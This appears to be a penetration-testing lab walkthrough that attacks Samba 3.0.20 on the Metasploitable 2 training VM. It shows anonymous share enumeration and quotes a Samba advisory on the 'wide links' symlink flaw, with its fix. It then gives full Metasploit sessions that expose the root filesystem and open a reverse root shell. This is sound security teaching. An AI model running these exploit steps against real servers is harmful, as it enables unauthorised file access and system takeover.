The Nmap scan of Metasploitable 2 revealed:
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
What is Samba?
Samba is software that can be run on a platform other than Microsoft Windows, for example, UNIX, Linux, IBM System 390, OpenVMS, and other operating systems. Samba uses the TCP/IP protocol that is installed on the host server. When correctly configured, it allows that host to interact with a Microsoft Windows client or server as if it is a Windows file and print server.
SMBD is part of Samba and is the server daemon that provides filesharing and printing services to Windows clients. The server provides filespace and printer services to clients using the SMB (or CIFS) protocol.
We can use the smbclient in the attacking Terminal to investigate the Samba Server. When prompted for the root password simply hit enter.
~# smbclient -L //192.168.1.103
Enter root's password:
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
Server Comment
--------- -------
METASPLOITABLE metasploitable server (Samba 3.0.20-Debian)
Workgroup Master
--------- -------
HOME BTHUB3
WORKGROUP METASPLOITABLE
We can dig down deeper into the tmp if we wish:
:~# smbclient //192.168.1.103/tmp
Enter root's password:
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
smb: \> ls
. D 0 Tue Nov 12 07:58:34 2013
.. DR 0 Sun May 20 20:36:12 2012
5251.jsvc_up R 0 Mon Nov 11 15:02:52 2013
.ICE-unix DH 0 Mon Nov 11 15:01:07 2013
.X11-unix DH 0 Mon Nov 11 15:01:52 2013
.X0-lock HR 11 Mon Nov 11 15:01:52 2013
56891 blocks of size 131072. 42480 blocks available
smb: \>
We can check if this is writable:
smb: \> mkdir test smb: \> ls . D 0 Tue Nov 12 08:00:45 2013 .. DR 0 Sun May 20 20:36:12 2012 5251.jsvc_up R 0 Mon Nov 11 15:02:52 2013 .ICE-unix DH 0 Mon Nov 11 15:01:07 2013 .X11-unix DH 0 Mon Nov 11 15:01:52 2013 .X0-lock HR 11 Mon Nov 11 15:01:52 2013 test D 0 Tue Nov 12 08:00:45 2013
It is indeed writable.
Our investigations have revealed Samba version 3.0.20 and the associated exploit is well documented:
A user named “kcopedarookie” posted what they claim to be a video of a zero-day exploit in Samba on youtube yesterday.
The video shows modifications to smbclient allowing /etc/passwd to be downloaded from a remote server.
The issue is actually a default insecure configuration in Samba.
Quick FAQ: What do I do !
Set:
wide links = noin the [global] section of your smb.conf and restart smbd to eliminate this problem.
Longer FAQ: The real issue
The problem comes from a combination of two features in Samba, each of which on their own are useful to Administrators, but in combination allow users to access any file on the system that their logged in username has permissions to read (this is not a privilege escalation problem).
By default Samba ships with the parameter “wide links = yes”, which allows Administrators to locally (on the server) add a symbolic link inside an exported share which SMB/CIFS clients will follow.
As an example, given a share definition:
[tmp] path = /tmp read only = no guest ok = yesThe administrator could add a symlink:
$ ln -s /etc/passwd /tmp/passwdand SMB/CIFS clients would then see a file called “passwd” within the [tmp] share that could be read and would allow clients to read /etc/passwd.
If the “wide links” parameter is set to “no”, any attempt to read this file will fail with an “access denied” error.
The problem occurs as Samba allows clients using the UNIX extensions (which are also turned on by default) to create symlinks on remotely mounted shares on which they have write access that point to any path on the file system.
This is by design, as applications running on UNIX clients may have good reasons to create symlinks anywhere on the filesystem they have write access that point to local files (such as /etc/passwd).
UNIX clients will resolve these links locally, but Windows clients will resolve them on the server. It is this combination that causes the problem.
All future versions of Samba will have the parameter “wide links” set to “no” by default, and the manual pages will be updated to explain this issue.
OK, to the Metasploit exploit: This Samba version allows for symbolic links anywhere on the filesystem by default and so we use Metasploit’s Samba_symlink_traversal auxiliary:
msf > use auxiliary/admin/smb/samba_symlink_traversal msf auxiliary(samba_symlink_traversal) > show options Module options (auxiliary/admin/smb/samba_symlink_traversal): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBSHARE yes The name of a writeable share on the server SMBTARGET rootfs yes The name of the directory that should point to the root filesystem msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.1.103 RHOST => 192.168.1.103 msf auxiliary(samba_symlink_traversal) > set smbshare tmp smbshare => tmp msf auxiliary(samba_symlink_traversal) > exploit [*] Connecting to the server... [*] Trying to mount writeable share 'tmp'... [*] Trying to link 'rootfs' to the root filesystem... [*] Now access the following share to browse the root filesystem: [*] \\192.168.1.103\tmp\rootfs\ [*] Auxiliary module execution completed
If we now return to the smbclient, we will be served up with access to all of the disk’s contents from the rootfs folder:
:~# smbclient //192.168.1.103/tmp Enter root's password: Anonymous login successful Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian] smb: \> ls . D 0 Tue Nov 12 08:35:42 2013 .. DR 0 Sun May 20 20:36:12 2012 5251.jsvc_up R 0 Mon Nov 11 15:02:52 2013 .ICE-unix DH 0 Mon Nov 11 15:01:07 2013 .X11-unix DH 0 Mon Nov 11 15:01:52 2013 .X0-lock HR 11 Mon Nov 11 15:01:52 2013 rootfs DR 0 Sun May 20 20:36:12 2012 test D 0 Tue Nov 12 08:00:45 2013 56891 blocks of size 131072. 42480 blocks available smb: \> cd rootfs smb: \rootfs\> ls . DR 0 Sun May 20 20:36:12 2012 .. DR 0 Sun May 20 20:36:12 2012 initrd DR 0 Tue Mar 16 23:57:40 2010 media DR 0 Tue Mar 16 23:55:52 2010 bin DR 0 Mon May 14 05:35:33 2012 lost+found DR 0 Tue Mar 16 23:55:15 2010 mnt DR 0 Wed Apr 28 22:16:56 2010 sbin DR 0 Mon May 14 03:54:53 2012 initrd.img R 7929183 Mon May 14 05:35:56 2012 home DR 0 Fri Apr 16 08:16:02 2010 lib DR 0 Mon May 14 05:35:22 2012 usr DR 0 Wed Apr 28 06:06:37 2010 proc DR 0 Mon Nov 11 15:00:24 2013 root DR 0 Mon Nov 11 15:01:51 2013 sys DR 0 Mon Nov 11 15:00:28 2013 boot DR 0 Mon May 14 05:36:28 2012 nohup.out R 6542 Mon Nov 11 15:01:51 2013 etc DR 0 Mon Nov 11 15:01:24 2013 dev DR 0 Mon Nov 11 15:01:09 2013 vmlinuz R 1987288 Thu Apr 10 18:55:41 2008 opt DR 0 Tue Mar 16 23:57:39 2010 var DR 0 Wed Mar 17 15:08:23 2010 cdrom DR 0 Tue Mar 16 23:55:51 2010 tmp D 0 Tue Nov 12 08:35:42 2013 srv DR 0 Tue Mar 16 23:57:38 2010 56891 blocks of size 131072. 42480 blocks available smb: \rootfs\>
We can also access a shell of Samba using Metasploit’s usermap_script exploit:
msf > use exploit/multi/samba/usermap_script msf exploit(usermap_script) > set RHOST 192.168.1.103 RHOST => 192.168.1.103 msf exploit(usermap_script) > exploit [*] Started reverse double handler [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo KBoA0aqYLD2VrWzT; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "KBoA0aqYLD2VrWzT\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (192.168.1.78:4444 -> 192.168.1.103:48635) at 2013-11-12 17:38:37 +0000 whoami root
Below is a video demonstrating this Metasploit shell exploit: